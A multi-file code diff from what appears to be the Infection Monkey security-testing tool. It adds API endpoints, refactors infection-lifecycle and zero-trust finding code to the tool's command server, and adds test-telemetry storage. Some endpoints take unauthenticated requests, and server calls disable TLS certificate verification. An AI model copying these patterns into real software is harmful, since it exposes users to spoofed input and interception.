# Could not find a version that satisfies the requirement pywin32 (from wmi->-r /src/infection_monkey/requirements.txt (line 12)) (from versions: none)
|
# Could not find a version that satisfies the requirement pywin32 (from wmi->-r /src/infection_monkey/requirements.txt (line 12)) (from versions: none)
|
||||||
wmi==1.4.9
|
wmi==1.4.9 ; sys_platform == 'win32'
|
||||||
pywin32 ; sys_platform == 'win32'
|
|
||||||
pymssql<3.0
|
pymssql<3.0
|
||||||
pyftpdlib
|
pyftpdlib
|
||||||
WinSys-3.x
|
WinSys-3.x
|
||||||
|
|
|
@ -1,5 +1,4 @@
|
||||||
import logging
|
import logging
|
||||||
import socket
|
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
import psutil
|
import psutil
|
||||||
|
|
|
@ -1,3 +1 @@
|
||||||
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
|
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
|
||||||
|
|
|
@ -0,0 +1,2 @@
|
||||||
|
class PlannedShutdownException(Exception):
|
||||||
|
pass
|
|
@ -73,7 +73,6 @@ class AutoNewWindowsUser(AutoNewUser):
|
||||||
|
|
||||||
def run_as(self, command):
|
def run_as(self, command):
|
||||||
# Importing these only on windows, as they won't exist on linux.
|
# Importing these only on windows, as they won't exist on linux.
|
||||||
import win32con
|
|
||||||
import win32process
|
import win32process
|
||||||
import win32api
|
import win32api
|
||||||
import win32event
|
import win32event
|
||||||
|
|
|
@ -16,10 +16,12 @@ from monkey_island.cc.resources.island_logs import IslandLog
|
||||||
from monkey_island.cc.resources.monkey import Monkey
|
from monkey_island.cc.resources.monkey import Monkey
|
||||||
from monkey_island.cc.resources.monkey_configuration import MonkeyConfiguration
|
from monkey_island.cc.resources.monkey_configuration import MonkeyConfiguration
|
||||||
from monkey_island.cc.resources.island_configuration import IslandConfiguration
|
from monkey_island.cc.resources.island_configuration import IslandConfiguration
|
||||||
|
from monkey_island.cc.resources.monkey_control.started_on_island import StartedOnIsland
|
||||||
from monkey_island.cc.resources.monkey_download import MonkeyDownload
|
from monkey_island.cc.resources.monkey_download import MonkeyDownload
|
||||||
from monkey_island.cc.resources.netmap import NetMap
|
from monkey_island.cc.resources.netmap import NetMap
|
||||||
from monkey_island.cc.resources.node import Node
|
from monkey_island.cc.resources.node import Node
|
||||||
from monkey_island.cc.resources.node_states import NodeStates
|
from monkey_island.cc.resources.node_states import NodeStates
|
||||||
|
from monkey_island.cc.resources.monkey_control.remote_port_check import RemotePortCheck
|
||||||
from monkey_island.cc.resources.remote_run import RemoteRun
|
from monkey_island.cc.resources.remote_run import RemoteRun
|
||||||
from monkey_island.cc.resources.reporting.report import Report
|
from monkey_island.cc.resources.reporting.report import Report
|
||||||
from monkey_island.cc.resources.root import Root
|
from monkey_island.cc.resources.root import Root
|
||||||
|
@ -32,6 +34,7 @@ from monkey_island.cc.resources.pba_file_upload import FileUpload
|
||||||
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
|
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
|
||||||
from monkey_island.cc.resources.attack.attack_report import AttackReport
|
from monkey_island.cc.resources.attack.attack_report import AttackReport
|
||||||
from monkey_island.cc.resources.bootloader import Bootloader
|
from monkey_island.cc.resources.bootloader import Bootloader
|
||||||
|
from monkey_island.cc.resources.zero_trust.finding_event import ZeroTrustFindingEvent
|
||||||
from monkey_island.cc.services.database import Database
|
from monkey_island.cc.services.database import Database
|
||||||
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
|
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
|
||||||
from monkey_island.cc.services.representations import output_json
|
from monkey_island.cc.services.representations import output_json
|
||||||
|
@ -107,6 +110,7 @@ def init_api_resources(api):
|
||||||
Report,
|
Report,
|
||||||
'/api/report/<string:report_type>',
|
'/api/report/<string:report_type>',
|
||||||
'/api/report/<string:report_type>/<string:report_data>')
|
'/api/report/<string:report_type>/<string:report_data>')
|
||||||
|
api.add_resource(ZeroTrustFindingEvent, '/api/zero-trust/finding-event/<string:finding_id>')
|
||||||
|
|
||||||
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
|
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
|
||||||
api.add_resource(Log, '/api/log', '/api/log/')
|
api.add_resource(Log, '/api/log', '/api/log/')
|
||||||
|
@ -119,6 +123,8 @@ def init_api_resources(api):
|
||||||
api.add_resource(AttackConfiguration, '/api/attack')
|
api.add_resource(AttackConfiguration, '/api/attack')
|
||||||
api.add_resource(AttackReport, '/api/attack/report')
|
api.add_resource(AttackReport, '/api/attack/report')
|
||||||
api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')
|
api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')
|
||||||
|
api.add_resource(RemotePortCheck, '/api/monkey_control/check_remote_port/<string:port>')
|
||||||
|
api.add_resource(StartedOnIsland, '/api/monkey_control/started_on_island')
|
||||||
|
|
||||||
api.add_resource(MonkeyTest, '/api/test/monkey')
|
api.add_resource(MonkeyTest, '/api/test/monkey')
|
||||||
api.add_resource(ClearCaches, '/api/test/clear_caches')
|
api.add_resource(ClearCaches, '/api/test/clear_caches')
|
||||||
|
|
|
@ -10,7 +10,7 @@ import pymongo
|
||||||
from monkey_island.cc.environment import Environment
|
from monkey_island.cc.environment import Environment
|
||||||
|
|
||||||
# Disable "unverified certificate" warnings when sending requests to island
|
# Disable "unverified certificate" warnings when sending requests to island
|
||||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # noqa: DUO131
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
@ -29,7 +29,9 @@ class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler):
|
||||||
post_data = self.rfile.read(content_length).decode()
|
post_data = self.rfile.read(content_length).decode()
|
||||||
island_server_path = BootloaderHTTPRequestHandler.get_bootloader_resource_url(self.request.getsockname()[0])
|
island_server_path = BootloaderHTTPRequestHandler.get_bootloader_resource_url(self.request.getsockname()[0])
|
||||||
island_server_path = parse.urljoin(island_server_path, self.path[1:])
|
island_server_path = parse.urljoin(island_server_path, self.path[1:])
|
||||||
r = requests.post(url=island_server_path, data=post_data, verify=False)
|
# The island server doesn't always have a correct SSL cert installed (By default it comes with a self signed one),
|
||||||
|
# that's why we're not verifying the cert in this request.
|
||||||
|
r = requests.post(url=island_server_path, data=post_data, verify=False) # noqa: DUO123
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if r.status_code != 200:
|
if r.status_code != 200:
|
||||||
|
@ -46,4 +48,3 @@ class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_bootloader_resource_url(server_ip):
|
def get_bootloader_resource_url(server_ip):
|
||||||
return "https://" + server_ip + ":" + str(Environment._ISLAND_PORT) + "/api/bootloader/"
|
return "https://" + server_ip + ":" + str(Environment._ISLAND_PORT) + "/api/bootloader/"
|
||||||
|
|
||||||
|
|
|
@ -9,7 +9,8 @@ class TestAwsEnvironment(IslandTestCase):
|
||||||
def test_get_auth_users(self):
|
def test_get_auth_users(self):
|
||||||
env = AwsEnvironment()
|
env = AwsEnvironment()
|
||||||
# This is "injecting" the instance id to the env. This is the UTs aren't always executed on the same AWS machine
|
# This is "injecting" the instance id to the env. This is the UTs aren't always executed on the same AWS machine
|
||||||
# (might not be an AWS machine at all). Perhaps it would have been more elegant to create a Mock, but not worth it for
|
# (might not be an AWS machine at all).
|
||||||
|
# Perhaps it would have been more elegant to create a Mock, but not worth it for
|
||||||
# this small test.
|
# this small test.
|
||||||
env._instance_id = "i-666"
|
env._instance_id = "i-666"
|
||||||
hash_obj = hashlib.sha3_512()
|
hash_obj = hashlib.sha3_512()
|
||||||
|
@ -22,5 +23,3 @@ class TestAwsEnvironment(IslandTestCase):
|
||||||
assert auth_user.id == 1
|
assert auth_user.id == 1
|
||||||
assert auth_user.username == "monkey"
|
assert auth_user.username == "monkey"
|
||||||
assert auth_user.secret == hash_obj.hexdigest()
|
assert auth_user.secret == hash_obj.hexdigest()
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -22,7 +22,7 @@ logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
from monkey_island.cc.app import init_app
|
from monkey_island.cc.app import init_app
|
||||||
from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list
|
from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list
|
||||||
from monkey_island.cc.utils import local_ip_addresses
|
from monkey_island.cc.network_utils import local_ip_addresses
|
||||||
from monkey_island.cc.environment.environment import env
|
from monkey_island.cc.environment.environment import env
|
||||||
from monkey_island.cc.database import is_db_server_up, get_db_version
|
from monkey_island.cc.database import is_db_server_up, get_db_version
|
||||||
from monkey_island.cc.resources.monkey_download import MonkeyDownload
|
from monkey_island.cc.resources.monkey_download import MonkeyDownload
|
||||||
|
|
|
@ -12,9 +12,9 @@ else:
|
||||||
connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
|
connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
|
||||||
|
|
||||||
# Order of importing matters here, for registering the embedded and referenced documents before using them.
|
# Order of importing matters here, for registering the embedded and referenced documents before using them.
|
||||||
from .config import Config
|
from .config import Config # noqa: F401
|
||||||
from .creds import Creds
|
from .creds import Creds # noqa: F401
|
||||||
from .monkey_ttl import MonkeyTtl
|
from .monkey_ttl import MonkeyTtl # noqa: F401
|
||||||
from .pba_results import PbaResults
|
from .pba_results import PbaResults # noqa: F401
|
||||||
from .command_control_channel import CommandControlChannel
|
from .command_control_channel import CommandControlChannel # noqa: F401
|
||||||
from .monkey import Monkey
|
from .monkey import Monkey # noqa: F401
|
||||||
|
|
|
@ -16,4 +16,3 @@ class Mitigation(EmbeddedDocument):
|
||||||
description = mitigation['description']
|
description = mitigation['description']
|
||||||
url = MitreApiInterface.get_stix2_external_reference_url(mitigation)
|
url = MitreApiInterface.get_stix2_external_reference_url(mitigation)
|
||||||
return Mitigation(name=name, description=description, url=url)
|
return Mitigation(name=name, description=description, url=url)
|
||||||
|
|
||||||
|
|
|
@ -8,7 +8,7 @@ import ring
|
||||||
from monkey_island.cc.models.monkey_ttl import MonkeyTtl, create_monkey_ttl_document
|
from monkey_island.cc.models.monkey_ttl import MonkeyTtl, create_monkey_ttl_document
|
||||||
from monkey_island.cc.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS
|
from monkey_island.cc.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS
|
||||||
from monkey_island.cc.models.command_control_channel import CommandControlChannel
|
from monkey_island.cc.models.command_control_channel import CommandControlChannel
|
||||||
from monkey_island.cc.utils import local_ip_addresses
|
from monkey_island.cc.network_utils import local_ip_addresses
|
||||||
from common.cloud import environment_names
|
from common.cloud import environment_names
|
||||||
|
|
||||||
MAX_MONKEYS_AMOUNT_TO_CACHE = 100
|
MAX_MONKEYS_AMOUNT_TO_CACHE = 100
|
||||||
|
|
|
@ -13,8 +13,8 @@ logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
class TestMonkey(IslandTestCase):
|
class TestMonkey(IslandTestCase):
|
||||||
"""
|
"""
|
||||||
Make sure to set server environment to `testing` in server_config.json! Otherwise this will mess up your mongo instance and
|
Make sure to set server environment to `testing` in server_config.json!
|
||||||
won't work.
|
Otherwise this will mess up your mongo instance and won't work.
|
||||||
|
|
||||||
Also, the working directory needs to be the working directory from which you usually run the island so the
|
Also, the working directory needs to be the working directory from which you usually run the island so the
|
||||||
server_config.json file is found and loaded.
|
server_config.json file is found and loaded.
|
||||||
|
|
|
@ -0,0 +1,13 @@
|
||||||
|
"""
|
||||||
|
Define a Document Schema for the TestTelem document.
|
||||||
|
"""
|
||||||
|
from mongoengine import Document, StringField, DateTimeField
|
||||||
|
|
||||||
|
|
||||||
|
class TestTelem(Document):
|
||||||
|
# SCHEMA
|
||||||
|
name = StringField(required=True)
|
||||||
|
time = DateTimeField(required=True)
|
||||||
|
method = StringField(required=True)
|
||||||
|
endpoint = StringField(required=True)
|
||||||
|
content = StringField(required=True)
|
|
@ -12,7 +12,7 @@ class AggregateFinding(Finding):
|
||||||
:raises: Assertion error if this is used when there's more then one finding which fits the query - this is not
|
:raises: Assertion error if this is used when there's more then one finding which fits the query - this is not
|
||||||
when this function should be used.
|
when this function should be used.
|
||||||
"""
|
"""
|
||||||
existing_findings = Finding.objects(test=test, status=status)
|
existing_findings = Finding.objects(test=test, status=status).exclude('events')
|
||||||
assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status)
|
assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status)
|
||||||
|
|
||||||
if len(existing_findings) == 0:
|
if len(existing_findings) == 0:
|
||||||
|
@ -21,7 +21,6 @@ class AggregateFinding(Finding):
|
||||||
# Now we know for sure this is the only one
|
# Now we know for sure this is the only one
|
||||||
orig_finding = existing_findings[0]
|
orig_finding = existing_findings[0]
|
||||||
orig_finding.add_events(events)
|
orig_finding.add_events(events)
|
||||||
orig_finding.save()
|
|
||||||
|
|
||||||
|
|
||||||
def add_malicious_activity_to_timeline(events):
|
def add_malicious_activity_to_timeline(events):
|
||||||
|
|
|
@ -23,7 +23,9 @@ class Event(EmbeddedDocument):
|
||||||
|
|
||||||
# LOGIC
|
# LOGIC
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def create_event(title, message, event_type, timestamp=datetime.now()):
|
def create_event(title, message, event_type, timestamp=None):
|
||||||
|
if not timestamp:
|
||||||
|
timestamp = datetime.now()
|
||||||
event = Event(
|
event = Event(
|
||||||
timestamp=timestamp,
|
timestamp=timestamp,
|
||||||
title=title,
|
title=title,
|
||||||
|
|
|
@ -2,6 +2,7 @@
|
||||||
"""
|
"""
|
||||||
Define a Document Schema for Zero Trust findings.
|
Define a Document Schema for Zero Trust findings.
|
||||||
"""
|
"""
|
||||||
|
from typing import List
|
||||||
|
|
||||||
from mongoengine import Document, StringField, EmbeddedDocumentListField
|
from mongoengine import Document, StringField, EmbeddedDocumentListField
|
||||||
|
|
||||||
|
@ -55,6 +56,5 @@ class Finding(Document):
|
||||||
|
|
||||||
return finding
|
return finding
|
||||||
|
|
||||||
def add_events(self, events):
|
def add_events(self, events: List) -> None:
|
||||||
# type: (list) -> None
|
self.update(push_all__events=events)
|
||||||
self.events.extend(events)
|
|
||||||
|
|
|
@ -1,3 +1,8 @@
|
||||||
|
import unittest
|
||||||
|
from packaging import version
|
||||||
|
|
||||||
|
import mongomock
|
||||||
|
|
||||||
import common.data.zero_trust_consts as zero_trust_consts
|
import common.data.zero_trust_consts as zero_trust_consts
|
||||||
from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
|
from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
|
||||||
from monkey_island.cc.models.zero_trust.event import Event
|
from monkey_island.cc.models.zero_trust.event import Event
|
||||||
|
@ -6,6 +11,9 @@ from monkey_island.cc.testing.IslandTestCase import IslandTestCase
|
||||||
|
|
||||||
|
|
||||||
class TestAggregateFinding(IslandTestCase):
|
class TestAggregateFinding(IslandTestCase):
|
||||||
|
|
||||||
|
@unittest.skipIf(version.parse(mongomock.__version__) <= version.parse("3.19.0"),
|
||||||
|
"mongomock version doesn't support this test")
|
||||||
def test_create_or_add_to_existing(self):
|
def test_create_or_add_to_existing(self):
|
||||||
self.fail_if_not_testing_env()
|
self.fail_if_not_testing_env()
|
||||||
self.clean_finding_db()
|
self.clean_finding_db()
|
||||||
|
@ -25,6 +33,8 @@ class TestAggregateFinding(IslandTestCase):
|
||||||
self.assertEqual(len(Finding.objects(test=test, status=status)), 1)
|
self.assertEqual(len(Finding.objects(test=test, status=status)), 1)
|
||||||
self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 2)
|
self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 2)
|
||||||
|
|
||||||
|
@unittest.skipIf(version.parse(mongomock.__version__) <= version.parse("3.19.0"),
|
||||||
|
"mongomock version doesn't support this test")
|
||||||
def test_create_or_add_to_existing_2_tests_already_exist(self):
|
def test_create_or_add_to_existing_2_tests_already_exist(self):
|
||||||
self.fail_if_not_testing_env()
|
self.fail_if_not_testing_env()
|
||||||
self.clean_finding_db()
|
self.clean_finding_db()
|
||||||
|
|
|
@ -33,7 +33,8 @@ class TestFinding(IslandTestCase):
|
||||||
|
|
||||||
event_example = Event.create_event(
|
event_example = Event.create_event(
|
||||||
title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
|
title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
|
||||||
Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED, events=[event_example])
|
Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION,
|
||||||
|
status=zero_trust_consts.STATUS_FAILED, events=[event_example])
|
||||||
|
|
||||||
self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 1)
|
self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 1)
|
||||||
self.assertEqual(len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)), 1)
|
self.assertEqual(len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)), 1)
|
||||||
|
|
|
@ -1,12 +1,11 @@
|
||||||
|
import array
|
||||||
|
import collections
|
||||||
|
import ipaddress
|
||||||
import socket
|
import socket
|
||||||
|
import struct
|
||||||
import sys
|
import sys
|
||||||
from typing import List
|
from typing import List
|
||||||
import collections
|
|
||||||
|
|
||||||
import array
|
|
||||||
|
|
||||||
import struct
|
|
||||||
import ipaddress
|
|
||||||
from netifaces import interfaces, ifaddresses, AF_INET
|
from netifaces import interfaces, ifaddresses, AF_INET
|
||||||
from ring import lru
|
from ring import lru
|
||||||
|
|
||||||
|
@ -20,7 +19,6 @@ if sys.platform == "win32":
|
||||||
else:
|
else:
|
||||||
import fcntl
|
import fcntl
|
||||||
|
|
||||||
|
|
||||||
def local_ips():
|
def local_ips():
|
||||||
result = []
|
result = []
|
||||||
try:
|
try:
|
|
@ -1,7 +1,6 @@
|
||||||
from unittest import TestCase
|
from unittest import TestCase
|
||||||
|
|
||||||
from monkey_island.cc.resources.bootloader import Bootloader
|
from monkey_island.cc.resources.bootloader import Bootloader
|
||||||
from monkey_island.cc.services.utils.bootloader_config import SUPPORTED_WINDOWS_VERSIONS
|
|
||||||
|
|
||||||
|
|
||||||
class TestBootloader(TestCase):
|
class TestBootloader(TestCase):
|
||||||
|
|
|
@ -10,7 +10,7 @@ from monkey_island.cc.environment.environment import env
|
||||||
from monkey_island.cc.models import Monkey
|
from monkey_island.cc.models import Monkey
|
||||||
from monkey_island.cc.resources.monkey_download import get_monkey_executable
|
from monkey_island.cc.resources.monkey_download import get_monkey_executable
|
||||||
from monkey_island.cc.services.node import NodeService
|
from monkey_island.cc.services.node import NodeService
|
||||||
from monkey_island.cc.utils import local_ip_addresses
|
from monkey_island.cc.network_utils import local_ip_addresses
|
||||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||||
|
|
||||||
__author__ = 'Barak'
|
__author__ = 'Barak'
|
||||||
|
|
|
@ -6,6 +6,7 @@ from flask import request
|
||||||
|
|
||||||
from monkey_island.cc.auth import jwt_required
|
from monkey_island.cc.auth import jwt_required
|
||||||
from monkey_island.cc.database import mongo
|
from monkey_island.cc.database import mongo
|
||||||
|
from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore
|
||||||
from monkey_island.cc.services.log import LogService
|
from monkey_island.cc.services.log import LogService
|
||||||
from monkey_island.cc.services.node import NodeService
|
from monkey_island.cc.services.node import NodeService
|
||||||
|
|
||||||
|
@ -23,6 +24,7 @@ class Log(flask_restful.Resource):
|
||||||
return LogService.log_exists(ObjectId(exists_monkey_id))
|
return LogService.log_exists(ObjectId(exists_monkey_id))
|
||||||
|
|
||||||
# Used by monkey. can't secure.
|
# Used by monkey. can't secure.
|
||||||
|
@TestTelemStore.store_test_telem
|
||||||
def post(self):
|
def post(self):
|
||||||
telemetry_json = json.loads(request.data)
|
telemetry_json = json.loads(request.data)
|
||||||
|
|
||||||
|
|
|
@ -3,6 +3,7 @@ from datetime import datetime
|
||||||
|
|
||||||
import dateutil.parser
|
import dateutil.parser
|
||||||
import flask_restful
|
import flask_restful
|
||||||
|
from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore
|
||||||
from flask import request
|
from flask import request
|
||||||
|
|
||||||
from monkey_island.cc.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS
|
from monkey_island.cc.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS
|
||||||
|
@ -33,6 +34,7 @@ class Monkey(flask_restful.Resource):
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
# Used by monkey. can't secure.
|
# Used by monkey. can't secure.
|
||||||
|
@TestTelemStore.store_test_telem
|
||||||
def patch(self, guid):
|
def patch(self, guid):
|
||||||
monkey_json = json.loads(request.data)
|
monkey_json = json.loads(request.data)
|
||||||
update = {"$set": {'modifytime': datetime.now()}}
|
update = {"$set": {'modifytime': datetime.now()}}
|
||||||
|
@ -56,6 +58,8 @@ class Monkey(flask_restful.Resource):
|
||||||
return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False)
|
return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False)
|
||||||
|
|
||||||
# Used by monkey. can't secure.
|
# Used by monkey. can't secure.
|
||||||
|
# Called on monkey wakeup to initialize local configuration
|
||||||
|
@TestTelemStore.store_test_telem
|
||||||
def post(self, **kw):
|
def post(self, **kw):
|
||||||
monkey_json = json.loads(request.data)
|
monkey_json = json.loads(request.data)
|
||||||
monkey_json['creds'] = []
|
monkey_json['creds'] = []
|
||||||
|
@ -71,16 +75,11 @@ class Monkey(flask_restful.Resource):
|
||||||
|
|
||||||
# if new monkey telem, change config according to "new monkeys" config.
|
# if new monkey telem, change config according to "new monkeys" config.
|
||||||
db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})
|
db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})
|
||||||
if not db_monkey:
|
|
||||||
# we pull it encrypted because we then decrypt it for the monkey in get
|
# Update monkey configuration
|
||||||
new_config = ConfigService.get_flat_config(False, False)
|
new_config = ConfigService.get_flat_config(False, False)
|
||||||
monkey_json['config'] = monkey_json.get('config', {})
|
monkey_json['config'] = monkey_json.get('config', {})
|
||||||
monkey_json['config'].update(new_config)
|
monkey_json['config'].update(new_config)
|
||||||
else:
|
|
||||||
db_config = db_monkey.get('config', {})
|
|
||||||
if 'current_server' in db_config:
|
|
||||||
del db_config['current_server']
|
|
||||||
monkey_json.get('config', {}).update(db_config)
|
|
||||||
|
|
||||||
# try to find new monkey parent
|
# try to find new monkey parent
|
||||||
parent = monkey_json.get('parent')
|
parent = monkey_json.get('parent')
|
||||||
|
|
|
@ -0,0 +1,14 @@
|
||||||
|
import flask_restful
|
||||||
|
from flask import request
|
||||||
|
|
||||||
|
from monkey_island.cc.services.remote_port_check import check_tcp_port
|
||||||
|
|
||||||
|
|
||||||
|
class RemotePortCheck(flask_restful.Resource):
|
||||||
|
|
||||||
|
# Used by monkey. can't secure.
|
||||||
|
def get(self, port):
|
||||||
|
if port and check_tcp_port(request.remote_addr, port):
|
||||||
|
return {"status": "port_visible"}
|
||||||
|
else:
|
||||||
|
return {"status": "port_invisible"}
|
|
@ -0,0 +1,16 @@
|
||||||
|
import json
|
||||||
|
|
||||||
|
import flask_restful
|
||||||
|
from flask import request, make_response
|
||||||
|
|
||||||
|
from monkey_island.cc.services.config import ConfigService
|
||||||
|
|
||||||
|
|
||||||
|
class StartedOnIsland(flask_restful.Resource):
|
||||||
|
|
||||||
|
# Used by monkey. can't secure.
|
||||||
|
def post(self):
|
||||||
|
data = json.loads(request.data)
|
||||||
|
if data['started_on_island']:
|
||||||
|
ConfigService.set_started_on_island(True)
|
||||||
|
return make_response({}, 200)
|
|
@ -1,4 +1,3 @@
|
||||||
from flask import request
|
|
||||||
import flask_restful
|
import flask_restful
|
||||||
|
|
||||||
from monkey_island.cc.auth import jwt_required
|
from monkey_island.cc.auth import jwt_required
|
||||||
|
|
|
@ -1,6 +1,5 @@
|
||||||
import logging
|
import logging
|
||||||
import threading
|
import threading
|
||||||
from datetime import datetime
|
|
||||||
|
|
||||||
import flask_restful
|
import flask_restful
|
||||||
from flask import request, make_response, jsonify
|
from flask import request, make_response, jsonify
|
||||||
|
@ -8,11 +7,8 @@ from flask import request, make_response, jsonify
|
||||||
from monkey_island.cc.auth import jwt_required
|
from monkey_island.cc.auth import jwt_required
|
||||||
from monkey_island.cc.database import mongo
|
from monkey_island.cc.database import mongo
|
||||||
from monkey_island.cc.services.database import Database
|
from monkey_island.cc.services.database import Database
|
||||||
from monkey_island.cc.services.node import NodeService
|
from monkey_island.cc.services.infection_lifecycle import InfectionLifecycle
|
||||||
from monkey_island.cc.services.reporting.report import ReportService
|
from monkey_island.cc.network_utils import local_ip_addresses
|
||||||
from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, \
|
|
||||||
safe_generate_reports
|
|
||||||
from monkey_island.cc.utils import local_ip_addresses
|
|
||||||
|
|
||||||
__author__ = 'Barak'
|
__author__ = 'Barak'
|
||||||
|
|
||||||
|
@ -32,7 +28,7 @@ class Root(flask_restful.Resource):
|
||||||
elif action == "reset":
|
elif action == "reset":
|
||||||
return jwt_required()(Database.reset_db)()
|
return jwt_required()(Database.reset_db)()
|
||||||
elif action == "killall":
|
elif action == "killall":
|
||||||
return Root.kill_all()
|
return jwt_required()(InfectionLifecycle.kill_all)()
|
||||||
elif action == "is-up":
|
elif action == "is-up":
|
||||||
return {'is-up': True}
|
return {'is-up': True}
|
||||||
else:
|
else:
|
||||||
|
@ -43,33 +39,6 @@ class Root(flask_restful.Resource):
|
||||||
return jsonify(
|
return jsonify(
|
||||||
ip_addresses=local_ip_addresses(),
|
ip_addresses=local_ip_addresses(),
|
||||||
mongo=str(mongo.db),
|
mongo=str(mongo.db),
|
||||||
completed_steps=self.get_completed_steps())
|
completed_steps=InfectionLifecycle.get_completed_steps())
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
@jwt_required()
|
|
||||||
def kill_all():
|
|
||||||
mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}},
|
|
||||||
upsert=False,
|
|
||||||
multi=True)
|
|
||||||
logger.info('Kill all monkeys was called')
|
|
||||||
return jsonify(status='OK')
|
|
||||||
|
|
||||||
@jwt_required()
|
|
||||||
def get_completed_steps(self):
|
|
||||||
is_any_exists = NodeService.is_any_monkey_exists()
|
|
||||||
infection_done = NodeService.is_monkey_finished_running()
|
|
||||||
|
|
||||||
if infection_done:
|
|
||||||
# Checking is_report_being_generated here, because we don't want to wait to generate a report; rather,
|
|
||||||
# we want to skip and reply.
|
|
||||||
if not is_report_being_generated() and not ReportService.is_latest_report_exists():
|
|
||||||
safe_generate_reports()
|
|
||||||
report_done = ReportService.is_report_generated()
|
|
||||||
else: # Infection is not done
|
|
||||||
report_done = False
|
|
||||||
|
|
||||||
return dict(
|
|
||||||
run_server=True,
|
|
||||||
run_monkey=is_any_exists,
|
|
||||||
infection_done=infection_done,
|
|
||||||
report_done=report_done)
|
|
||||||
|
|
|
@ -8,6 +8,7 @@ from flask import request
|
||||||
|
|
||||||
from monkey_island.cc.auth import jwt_required
|
from monkey_island.cc.auth import jwt_required
|
||||||
from monkey_island.cc.database import mongo
|
from monkey_island.cc.database import mongo
|
||||||
|
from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore
|
||||||
from monkey_island.cc.services.node import NodeService
|
from monkey_island.cc.services.node import NodeService
|
||||||
from monkey_island.cc.services.telemetry.processing.processing import process_telemetry
|
from monkey_island.cc.services.telemetry.processing.processing import process_telemetry
|
||||||
from monkey_island.cc.models.monkey import Monkey
|
from monkey_island.cc.models.monkey import Monkey
|
||||||
|
@ -40,6 +41,7 @@ class Telemetry(flask_restful.Resource):
|
||||||
return result
|
return result
|
||||||
|
|
||||||
# Used by monkey. can't secure.
|
# Used by monkey. can't secure.
|
||||||
|
@TestTelemStore.store_test_telem
|
||||||
def post(self):
|
def post(self):
|
||||||
telemetry_json = json.loads(request.data)
|
telemetry_json = json.loads(request.data)
|
||||||
telemetry_json['timestamp'] = datetime.now()
|
telemetry_json['timestamp'] = datetime.now()
|
||||||
|
|
|
@ -0,0 +1,71 @@
|
||||||
|
import logging
|
||||||
|
from functools import wraps
|
||||||
|
from os import mkdir, path
|
||||||
|
import shutil
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
from flask import request
|
||||||
|
|
||||||
|
from monkey_island.cc.models.test_telem import TestTelem
|
||||||
|
from monkey_island.cc.services.config import ConfigService
|
||||||
|
|
||||||
|
TELEM_SAMPLE_DIR = "./telem_sample"
|
||||||
|
MAX_SAME_CATEGORY_TELEMS = 10000
|
||||||
|
|
||||||
|
|
||||||
|
logging.basicConfig(level=logging.INFO)
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class TestTelemStore:
|
||||||
|
|
||||||
|
TELEMS_EXPORTED = False
|
||||||
|
|
||||||
|
